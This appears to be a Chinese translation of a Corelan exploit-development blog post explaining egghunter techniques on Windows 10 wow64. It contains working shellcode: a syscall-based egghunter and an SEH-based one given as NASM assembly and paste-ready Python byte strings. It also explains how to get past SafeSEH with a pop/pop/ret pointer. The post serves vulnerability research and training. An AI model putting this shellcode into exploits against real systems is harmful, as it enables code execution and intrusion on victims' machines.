Windows 10 wow64环境下EggHunter技术详解

本文深入探讨了Windows 10(wow64)环境下EggHunter(鸡蛋猎人)技术。文章首先指出基于传统系统调用的EggHunter在Windows 10上已失效,并详细介绍了利用更新后的系统调用和自定义结构化异常处理(SEH)机制构建EggHunter的两种方法,包含具体的技术架构、汇编代码实现、调试技巧以及如何绕过Windows的内存保护机制,以实现在进程地址空间中安全地搜索特定标记的代码片段,最终实现可靠的内存利用。

Windows 10 egghunter (wow64) and more

简介

好吧,我必须承认一件事:我向来对egghunter(鸡蛋猎人)有着某种程度的着迷。但这并不意味着我仅仅因为喜欢其功能就倾向于(或滥用)使用egghunter。事实上,我认为在可能的情况下尽量避免使用egghunter是一种良好实践,因为它们往往会减慢进程。

我的意思是,我一直对在不导致进程崩溃的情况下搜索内存的技术感到着迷。这只是个人喜好,并不太重要。

真正重要的是,Corelan团队回来了。好吧,是我回来了。这是我近三年来的第一篇(技术性)帖子,也是自那之前Corelan团队逐渐"淡出"以来的第一篇帖子。(事实上,我很想知道(一些)原Corelan团队成员是否能够再次找到空闲时间来合作,并开始进行/发表一些研究。我当然希望如此,但让我们拭目以待。)

正如你们中的一些人已经知道的,我最近辞去了我的日常工作。(说来话长,无法在此详述。很高兴边喝一杯边分享细节。)我创办了一家名为"Corelan Consulting"的新公司,正试图通过漏洞开发培训和网络安全咨询谋生。培训进展顺利,2019年的课程几乎已全部排满,并且已经在规划2020年的课程。你可以在这里找到培训时间表。如果你有兴趣在你的公司或会议上组织Corelan Bootcamp或Corelan Advanced课程——请先阅读学员评价,然后联系我 :) 在锁定咨询项目方面,我仍需努力提高我的销售技巧,但我相信最终一切都会好起来的。(是的,如果你想让我与你合作,请联系我,我可以兼职从事治理/风险管理与评估工作 ;-))

无论如何,在构建2019年版的Corelan Bootcamp、更新Windows 10材料的过程中,我意识到Lincoln编写的适用于Windows 7的wow64 egghunter在Windows 10上不再有效。事实上,我多少预料到它会失败,因为我们早已知道微软在每个主要的Windows版本中都会更改系统调用号。由于最常用的egghunter机制基于系统调用的使用,很明显,改变系统调用号会破坏egghunter。

顺便说一句:系统调用(及其编号)在这里有文档记录:https://j00ru.vexillium.org/syscalls/nt/64/(感谢Mateusz “j00ru” Jurczyk)。你可以在上述网站的表格中找到"NtAccessCheckAndAuditAlarm"系统调用号的演变过程。

无论如何,更改系统调用号听起来并不太令人兴奋或困难,但我们也发现,在Windows 10中,系统调用的参数和堆栈布局、行为也与Windows 7版本不同。

我们发现一些win10 egghunter的PoC流传着,但发现它们在真实的漏洞利用中并不总是可靠。Lincoln研究了一下,做了一些调试,并制作了一个适用于Windows 10的版本。:)

所以,这意味着我们很自豪能够宣布一个适用于Windows 10的(wow64)egghunter。下面的版本已经在真实的漏洞利用和目标环境中经过测试。

Windows 10下的wow64 egghunter

如前所述,挑战在于弄清楚新的系统调用期望其参数在何处以及如何提供,它如何改变寄存器和堆栈以确保参数始终在正确的位置,并提供预期的功能:测试给定页面是否可访问,并且在此过程中不导致进程死亡。

这是更新后的例程:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
"\x33\xD2"              #XOR EDX,EDX
"\x66\x81\xCA\xFF\x0F"  #OR DX,0FFF
"\x33\xDB"              #XOR EBX,EBX
"\x42"                  #INC EDX
"\x52"                  #PUSH EDX
"\x53"                  #PUSH EBX
"\x53"                  #PUSH EBX
"\x53"                  #PUSH EBX
"\x53"                  #PUSH EBX
"\x6A\x29"              #PUSH 29  (system call 0x29)
"\x58"                  #POP EAX
"\xB3\xC0"              #MOV BL,0C0
"\x64\xFF\x13"          #CALL DWORD PTR FS:[EBX] (perform the system call)
"\x83\xC4\x10"          #ADD ESP,0x10
"\x5A"                  #POP EDX
"\x3C\x05"              #CMP AL,5
"\x74\xE3"              #JE SHORT
"\xB8\x77\x30\x30\x74"  #MOV EAX,74303077
"\x8B\xFA"              #MOV EDI,EDX
"\xAF"                  #SCAS DWORD PTR ES:[EDI]
"\x75\xDE"              #JNZ SHORT
"\xAF"                  #SCAS DWORD PTR ES:[EDI]
"\x75\xDB"              #JNZ SHORT
"\xFF\xE7"              #JMP EDI

这个egghunter在Windows 10上运行良好,但它假设你在wow64环境(64位操作系统上的32位进程)中运行。当然,正如Lincoln在他的博客文章中解释的那样,你可以简单地添加一个检查来确定架构,并使egghunter同样在原生32位操作系统上工作。

你也可以用mona.py生成这个egghunter——只需运行 !mona egg -wow64 -winver 10

在调试这个egghunter(或任何使用系统调用的wow64 egghunter)时,你会注意到在执行系统调用期间会发生访问违规。这些访问违规可以安全地通过,并将由操作系统处理……但调试器每次看到访问违规都会中断。(本质上,当代码尝试测试一个不可读的页面时,调试器就会中断。换句话说,你会遇到大量访问违规,需要你手动干预。)

如果你使用Immunity Debugger,你可以简单地告诉调试器忽略这些访问违规。为此,点击’debugging options’,然后打开’exceptions’选项卡。在"Add range"下添加以下十六进制值:

0xC0000005 – ACCESS VIOLATION 0x80000001 – STATUS_GUARD_PAGE_VIOLATION

当然,当你完成对egghunter的调试后,别忘了再次删除这两个异常 :-)

未来展望

当然,微软有权在其操作系统中更改任何他们想要的内容。我认为开发人员不应该自己发出系统调用,他们应该使用ntdll.dll中的包装函数。换句话说,微软更改系统调用号应该是"安全"的。我不知道每个Windows版本系统调用号递增的背后是什么,我也不知道系统调用号是否会永远保持不变,因为Windows 10已被标记为"最后一个Windows版本"。从egghunter的角度来看,这将是很好的。随着越来越多的人采用Windows 10,egghunter的成功率也会越来越高。但实际上,我不知道这是否是一个有效的假设。

无论如何,这让我思考:是否有办法使用不同的技术使egghunter工作,而不使用系统调用?如果存在,该技术是否也适用于旧版本的Windows?如果我们不使用系统调用,它是否能在原生x86和wow64环境中直接工作?让我们看看。

异常处理

关于egghunter的原始论文(“Safely Searching Process Virtual Address Space”,由skape撰写,2004年!)已经介绍了使用自定义异常处理程序来处理访问违规,如果你试图从不可访问的页面读取数据,就会发生访问违规。通过使处理程序指向egghunter内部,egghunter将能够继续运行。然而,原始的实现在现在看来似乎不再有效。在进行一些测试时(许多年前,以及最近在Windows 10上),看起来操作系统并不真正允许你让异常处理程序直接指向堆栈(还没有尝试堆,但我预计会有相同的限制)。换句话说,如果egghunter从堆栈或堆运行,你将无法让egghunter使用自身作为异常处理程序并继续执行。

在探讨可能的解决方案之前,让我们回顾一下异常处理机制是如何工作的。当操作系统检测到异常并决定将其传递给进程中对应的线程时,它将指示ntdll.dll中的一个函数启动该线程内的异常处理机制。这个例程将检查偏移量0处的TEB(通过FS:[0]访问),并检索堆栈上异常处理链中最顶层记录的地址。每个记录由2个字段组成:

1
2
3
4
struct EXCEPTION_REGISTRATION {
   EXCEPTION_REGISTRATION *nextrecord; // 指向下一个记录的指针 (nseh)
   DWORD handler; // 指向处理程序函数的指针
};

最顶层的记录包含一个例程的地址,该例程将首先被调用以检查应用程序是否能处理异常。如果该例程失败,将尝试链中的下一个记录(直到其中一个例程能够处理异常,或者使用默认处理程序将进程送入天堂)。所以,换句话说,ntdll.dll中的例程将找到记录,并调用"handler"地址(即放置在记录第二个字段中的任何内容)。

因此,将其转化到egghunter的世界:如果我们想要在异常发生时保持对过程的控制,我们必须创建一个自定义的"最顶层"SEH记录,确保在egghunter执行期间它始终是最顶层的记录,并且我们必须让记录处理程序指向一个允许我们的egghunter继续运行并处理下一个页面的例程。再次强调,如果我们的"自定义"记录是最顶层的记录,我们将确保它将是第一个被使用的记录。

当然,我们必须小心,并考虑到运行异常处理机制的后果和影响:

异常处理机制会改变ESP的值。该功能将在新的ESP位置创建一个"异常分发器堆栈"帧,并在ESP+8处有一个指向原始SEH帧的指针。我们必须"撤销"对ESP的这种更改,以确保它指回堆栈上egghunter存储其数据的区域。 其次,我们也应该避免总是创建新记录。相反,我们应该尝试反复使用同一个记录,避免不断向堆栈推送数据,避免耗尽堆栈空间。此外,当然,egghunter需要能够从内存中的任何位置运行。 最后,无论我们将什么作为"SE处理程序"(记录的第二个字段)放置,都必须是SAFESEH兼容的。不幸的是,这是我"解决方案"的弱点。此外,我的例程在SEHOP启用时将不起作用。(但我记得在客户端系统上默认不启用SEHOP。)

创建我们自己的自定义SEH记录意味着我们将向堆栈写入一些内容,覆盖/破坏已经存在的内容。所以,如果你的egghunter/shellcode也在堆栈上该位置附近,你可能需要在运行egghunter之前调整ESP。只是提个醒 :)

这是我的基于SEH的egghunter的样子(准备用nasm编译):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
; Universal SEH based egg hunter (x86 and wow64)
; tested on Windows 7 & Windows 10
; written by Peter Van Eeckhoutte (corelanc0d3r)
; www.corelan.be - www.corelan-training.com - www.corelan-consulting.com
;
; warning: will damage stack around ESP
;
; usage: find a non-safeseh protected pointer to pop/pop/ret and put it in the placeholder below
;

[BITS 32]
CALL $+4			; getPC routine
RET
POP ECX
ADD ECX,0x1d			; offset to "handle" routine

;set up SEH record
XOR EBX,EBX
PUSH ECX			; remember where our 'custom' SE Handler routine will be
PUSH ECX			; p/p/r will fly over this one
PUSH 0x90c3585c			; trigger p/p/r again :)
PUSH 0x44444444			; Replace with P/P/R address  ** PLACEHOLDER **
PUSH 0x04EB5858			; SHORT JUMP
MOV DWORD [FS:EBX],ESP		; put our SEH record to top of chain

JMP nextpage

handle:				; our custom handle
	SUB ESP,0x14		; undo changes to ESP
	XOR EBX,EBX
	MOV DWORD [FS:EBX],ESP	; make our SEH record topmost again
	MOV EDX, [ESP+24]	; pick up saved EDX
	INC EDX

nextpage:
	OR DX, 0x0FFF
	INC EDX
	MOV [ESP+24], EDX	; remember where we are searching
	MOV EAX, 0x74303077	; w00t
	MOV EDI, EDX
	SCASD
	JNZ nextpage+5
	SCASD
	JNZ nextpage+5
	JMP EDI

让我们看看egghunter的各个组成部分。

首先,猎手以一个"GetPC"例程(旨在找到自身在内存中的绝对地址)开始,然后是一条指令,将该GetPC例程能够检索到的地址增加0x1d字节。添加此偏移量后,ECX将包含实际"handler"例程在内存中的绝对地址。(在上面的代码中用标签"handle"引用)。请记住,egghunter需要能够在运行时动态确定此位置,因为egghunter将使用异常处理程序机制返回自身并继续运行egghunter。这意味着我们需要知道(确定)它在哪里,将引用存储在堆栈上,以便我们可以在异常处理机制期间稍后"检索/跳转"到它。

接下来,代码正在创建一个新的自定义SEH记录。虽然SEH记录只包含2个字段,但代码实际上向堆栈推送了5个特殊构造的值。只有最后两个将成为SEH记录,其他几个用于允许异常处理程序恢复ESP并继续执行egghunter。让我们看看推送了什么以及为什么:

PUSH ECX:这是"handle"例程在内存中的地址,由之前的GetPC例程确定。异常处理程序最终需要返回到此地址。 PUSH ECX:我们再次推送该地址,但这个地址不会被使用。我们将两次使用pop/pop/ret指针。第一次将用于异常处理程序将执行流带回我们的代码,第二次将用于返回到存储在堆栈上的"ECX"。第二个ECX只是为了补偿p/p/r中的第二个POP。你可以推送任何你喜欢的内容到堆栈。 PUSH 0x90c3585C:此代码将被执行。这是一个POP ESP,POP EAX,RET。这将把堆栈重置回我们存储SEH记录的堆栈上的原始位置。RET将执行流转交给堆栈上的p/p/r指针(SEH记录的一部分)。换句话说,p/p/r指针将被使用两次。第二次,它最终将返回到存储在堆栈上的ECX地址。(参见先前的PUSH ECX指令) 接下来,通过向堆栈再推送2个值来创建真实的SEH记录:

指向P/P/R的指针(必须是一个非safeseh保护的指针)。我们必须使用p/p/r,因为我们不能让这个handler字段直接指向堆栈(或堆)。既然我们不能直接让异常机制返回我们的代码,我们将使用pop/pop/ret来保持对执行流的控制。在上面的代码中,你必须用非SafeSEH保护的pop/pop/ret的地址替换0x44444444值。然后,当异常发生时(即当egghunter到达一个不可访问的页面时),pop/pop/ret将首次被触发执行,返回到SEH记录第一个字段中的4个字节。 在SEH记录的第一个字段中,我放置了两个pop和一个向前短跳转序列。这将稍微调整堆栈,使指向SEH记录的指针位于堆栈顶部。接下来它将跳转到之前推送到堆栈上的指令序列(0x90C3585C)。如前所述,该序列将再次触发POP/POP/RET,最终将返回到存储的ECX指针(即egghunter所在的位置)。

为了完成SEH记录的创建并将其标记为最顶层记录,我们只需将其位置写入TEB。由于我们新的自定义SEH记录当前位于ESP,我们可以简单地将ESP的值写入偏移量0处的TEB(MOV DWORD [FS:EBX], ESP)。(这就是我们一开始清除EBX的原因。)

此时,egghunter已准备好测试页面是否可读。代码将使用EDX作为要从中读取的引用。该例程首先转到页面末尾(OR DX, 0x0FFF),然后转到下一页的开头(INC EDX),然后我们将EDX的值存储在堆栈上(在[ESP-4]处),以便异常处理程序稍后能够获取它。如果读取尝试(SCASD)失败,将触发访问违规。访问违规将使用我们的自定义SEH记录(因为它应该是最顶层的记录),而该记录的设计是为了恢复egghunter的执行(通过运行"handle"例程,该例程最终将从堆栈恢复EDX指针并继续处理下一页)。“handle"例程将:

再次调整堆栈,将其位置修正到运行egghunter时它所在/应该在的位置。(SUB ESP,0x14) 接下来,它将确保我们的自定义记录再次成为最顶层的SEH记录(以防一些其他代码添加了新的最顶层记录)。 最后,它将从堆栈中获取一个引用(我们存储了上次尝试访问的地址的位置)并继续(处理下一页)。

如果一个页面是可读的,egghunter将检查标签的存在,两次。如果找到标签,最后的"JMP EDI"将告诉CPU运行紧接在双标签后面放置的代码。

在调试egghunter时,你会注意到它会抛出访问违规(当代码尝试访问一个不可访问的页面时)。当然,在这种情况下,这些访问违规是完全正常的,但你仍然必须将异常传递回应用程序(Shift F9)。你也可以通过配置"Exceptions"来配置Immunity Debugger自动忽略(并传递)这些异常。为此,点击’debugging options’,然后打开’exceptions’选项卡。在"Add range"下添加以下十六进制值:

0xC0000005 – ACCESS VIOLATION 0x80000001 – STATUS_GUARD_PAGE_VIOLATION

当然,当你完成对egghunter的调试后,别忘了再次删除这两个异常。

为了使用egghunter,你需要先将汇编指令转换为操作码。为此,你需要安装nasm。(我使用了来自https://www.nasm.us/pub/nasm/releasebuilds/2.14.02/win32/的Win32安装程序。) 将上面的汇编代码片段保存到一个文本文件中(例如"c:\dev\win10_egghunter_seh.nasm”)。接下来,运行"nasm"将其转换为包含操作码的二进制文件:

"C:\Program Files (x86)\NASM\nasm.exe" -o c:\dev\win10_egghunter_seh.obj c:\dev\win10_egghunter_seh.nasm

接下来,将二进制文件的内容转储为十六进制格式,以便你可以在脚本和漏洞利用中使用:

python c:\dev\bin2hex.py c:\dev\win10_egghunter_seh.obj

(你可以在Corelan的github仓库中找到bin2hex.py脚本的副本。)

如果一切顺利,你将得到以下结果:

1
2
3
4
5
6
7
8
9
"\xe8\xff\xff\xff\xff\xc3\x59\x83"
"\xc1\x1d\x31\xdb\x51\x51\x68\x5c"
"\x58\xc3\x90\x68\x44\x44\x44\x44"
"\x68\x58\x58\xeb\x04\x64\x89\x23"
"\xeb\x0d\x83\xec\x14\x31\xdb\x64"
"\x89\x23\x8b\x54\x24\x24\x42\x66"
"\x81\xca\xff\x0f\x42\x89\x54\x24"
"\x24\xb8\x77\x30\x30\x74\x89\xd7"
"\xaf\x75\xf1\xaf\x75\xee\xff\xe7"

再次提醒,别忘了将\x44\x44\x44\x44(第三行末尾)替换为pop/pop/ret的地址(并且如果你在编辑字节,请以little endian方式存储地址 :))

Python友好的复制/粘贴代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
egghunter = ("\xe8\xff\xff\xff\xff\xc3\x59\x83"
"\xc1\x1d\x31\xdb\x51\x51\x68\x5c"
"\x58\xc3\x90\x68")

egghunter += "\x??\x??\x??\x??" #替换为指向pop/pop/ret的指针。使用 !mona seh

egghunter += ("\x68\x58\x58\xeb\x04\x64\x89\x23"
"\xeb\x0d\x83\xec\x14\x31\xdb\x64"
"\x89\x23\x8b\x54\x24\x24\x42\x66"
"\x81\xca\xff\x0f\x42\x89\x54\x24"
"\x24\xb8\x77\x30\x30\x74\x89\xd7"
"\xaf\x75\xf1\xaf\x75\xee\xff\xe7")

我还没有将这个例程添加到mona.py中(但我最终会在某个时候添加)。当然,如果你看到了改进的余地,并且/或者能够减小egghunter的大小,请不要犹豫让我知道。(我会等待你的反馈一段时间,然后再将其添加到mona中。)

我当然很想知道egghunter是否对你有效,以及它是否在不同的Windows版本和架构(32位系统、旧版Windows等)上都能工作。

到此为止

感谢阅读!希望你喜欢这篇全新的文章,并且希望你对未来和我一样充满期待。

如果你想聚一聚、讨论信息安全话题、提问(和回答问题),请注册我们的Slack工作空间。要访问该工作空间:

访问 https://www.facebook.com/corelanconsulting(顺便给页面点个赞)。你不需要facebook账户,该页面是公开的。 滚动浏览帖子,寻找包含Slack邀请链接的那一篇。 注册,完成。

另外,请随时在Twitter上关注我们(@corelanconsult),以获取新文章和博客帖子的信息。

Corelan Training & Corelan Consulting

这篇文章只是你在我们Corelan Bootcamp中将要学习内容的一个小例子。如果你想参加我们的Corelan课程,请查看我们的时间表:https://www.corelan-training.com/index.php/training-schedules。如果你更愿意在你的公司或会议上组织课程,请随时通过此表单联系我。

正如文章开头所解释的:培训和咨询项目现在是我的主要收入来源。只有我也能谋生,我才能免费进行研究和发布信息。本网站由Corelan Consulting支持、托管和资助。我能教的课程和能做的咨询越多,我能投入研究和发布教程的时间就越多。

谢谢!

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计